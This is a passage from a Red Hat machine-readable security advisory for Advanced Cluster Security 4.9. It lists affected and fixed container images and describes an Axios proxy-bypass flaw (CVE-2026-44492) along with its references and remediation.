"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Denial of Service due to unenforced request and response size limits"
},
{
"cve": "CVE-2026-44492",
"cwe": {
"id": "CWE-289",
"name": "Authentication Bypass by Alternate Name"
},
"discovery_date": "2026-06-11T17:00:56.761751+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487938"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw in Axios, a JavaScript HTTP client library, that allows for a proxy bypass. When a `NO_PROXY` environment variable is configured to prevent direct connections to specific IPv4 addresses, an attacker can craft a request URL using the IPv4-mapped IPv6 address format. This bypasses the intended `NO_PROXY` exclusion, routing the request through the configured proxy and potentially exposing internal services or sensitive information, such as cloud instance metadata credentials.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "RHBZ#2487938",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
}
],
"release_date": "2026-06-11T15:29:13.890000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
